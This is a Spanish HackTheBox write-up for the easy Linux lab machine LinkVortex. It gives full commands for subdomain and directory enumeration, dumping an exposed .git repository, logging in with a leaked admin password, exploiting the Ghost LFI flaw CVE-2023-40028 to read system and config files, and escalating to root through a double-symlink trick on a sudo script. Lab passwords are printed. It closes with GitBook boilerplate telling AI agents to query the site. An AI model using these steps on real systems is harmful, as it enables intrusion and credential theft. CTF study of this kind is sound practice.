> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md). # Guía de HackTheBox LinkVortex Guía de la máquina HackTheBox LinkVortex Fácil Linux que cubre enumeración de subdominios, extracción de información del directorio .git (Git-Dumper), fuga de información, explotación de LFI (Ghost), con prácti {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeración de subdominios * Extracción de información del directorio .git (Git-Dumper) * Filtración de información * Explotación de LFI (Ghost) * Abuso de privilegios de sudo mediante un script (enlace simbólico doble) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

**Configuración del archivo /etc/hosts** Añadimos la dirección IP del objetivo a nuestro `/etc/hosts` archivo para facilitar las resoluciones DNS locales.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 linkvortex.htb -oG allPorts ```

**Análisis de puertos abiertos con extractPorts:** Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (22.80)

### **Puerto 80**

**Escaneo de versiones de puertos con Nmap:** Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted": ```bash nmap -sCV -p22,80 linkvortex.htb -oN targeted ```

### **Enumeración de directorios** ```bash wfuzz -c -t 100 --hc=404,301 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://linkvortex.htb/FUZZ/ ```

### Panel de administración - Ghost

### **Descubrimiento de un subdominio** Buscamos subdominios asociados a `linkvortex.htb` usando gobuster. ```bash gobuster vhost -u http://linkvortex.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 ``` Encontramos el subdominio `dev.linkvortex.htb`. Aquí está el comando para realizar esta búsqueda:

Una vez encontrado el subdominio, lo añadimos al `/etc/hosts` archivo para un acceso más fácil:

#### **Búsqueda de directorios en el nuevo subdominio** Buscamos directorios existentes en el `dev.linkvortex.htb` subdominio usando `gobuster`: ```bash gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100 ``` Descubrimos el `.git` directorio, lo que podría indicar un repositorio Git expuesto.

### **Extracción de archivos con Git-Dumper** Usamos la herramienta `git-dumper` para extraer archivos del `.git` directorio y analizarlos: ```git git-dumper http://dev.linkvortex.htb/.git .git ```

Esto nos permite obtener archivos sensibles, incluido un archivo de pruebas ubicado en `ghost/core/test/regression/api/admin/authentication.test.js`, donde encontramos una contraseña:

**Contraseña encontrada:** ```parser OctopiFociPilfer45 ```

### **Inicio de sesión en el panel de administración de Ghost** Con esta contraseña, intentamos conectarnos al panel de administración de Ghost usando la dirección de correo `admin@linkvortex.htb` : * **Correo electrónico** : `admin@linkvortex.htb` * **Contraseña**: `OctopiFociPilfer45`

## Vulnerabilidad de Ghost - LFI {% embed url="" %}

> Durante el escaneo de puertos, identificamos que la versión de Ghost utilizada (v5.58) es vulnerable a una vulnerabilidad de LFI (Local File Inclusion), identificada como CVE-2023-40028. Para explotar esta vulnerabilidad, descargamos el script de exploit y modificamos la URL objetivo para que apunte a nuestra instancia de Ghost.

Aquí está el comando para ejecutar el exploit: ```bash ./LFI.sh -u admin@linkvortex.htb -p OctopiFociPilfer45 ``` Luego obtenemos una shell y podemos mostrar archivos, como `/etc/passwd`.

**Acceso a una ruta interna mediante LFI** En el `.git` directorio, detectamos un archivo Docker que nos proporciona una ruta interna para acceder a una sesión: `/var/lib/ghost/config.production.json`.

Usamos LFI para listar archivos y encontrar las credenciales de un usuario llamado Bob:

**Credenciales de Bob:** * **Usuario**: `bob@linkvortex.htb` * **Contraseña**: `fibber-talented-worth` Nos conectamos a la máquina objetivo vía SSH usando las credenciales de Bob: ### Bandera user.txt :) Usamos la contraseña `fibber-talented-worth` para iniciar sesión y acceder al archivo `user.txt`, donde encontramos la bandera.

## Bandera root.txt :) ### SUDO - Clean/\_synLink.sh Buscamos una vulnerabilidad que permita la escalada de privilegios. Descubrimos un archivo con permisos SUID.

#### **Análisis del script de limpieza de enlaces simbólicos** > Analizamos un script llamado `clean_symlink.sh`, que comprueba si el archivo proporcionado como argumento es un enlace simbólico que apunta a un archivo `.png` Si el enlace simbólico apunta a un archivo crítico, el script lo elimina. En caso contrario, mueve el enlace simbólico al directorio `/var/quarantined/` directorio. Si la variable de entorno `CHECK_CONTENT` está configurada como `true`, el script intenta leer el contenido del archivo. Aquí está el comando para crear los enlaces simbólicos necesarios para la explotación: ```bash ln -s /root/root.txt flag.txt ln -s /home/bob/flag.txt flag.png ``` Luego ejecutamos el script con el siguiente comando para obtener la bandera de root: ```bash sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png ``` Así obtenemos la `root.txt` bandera.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.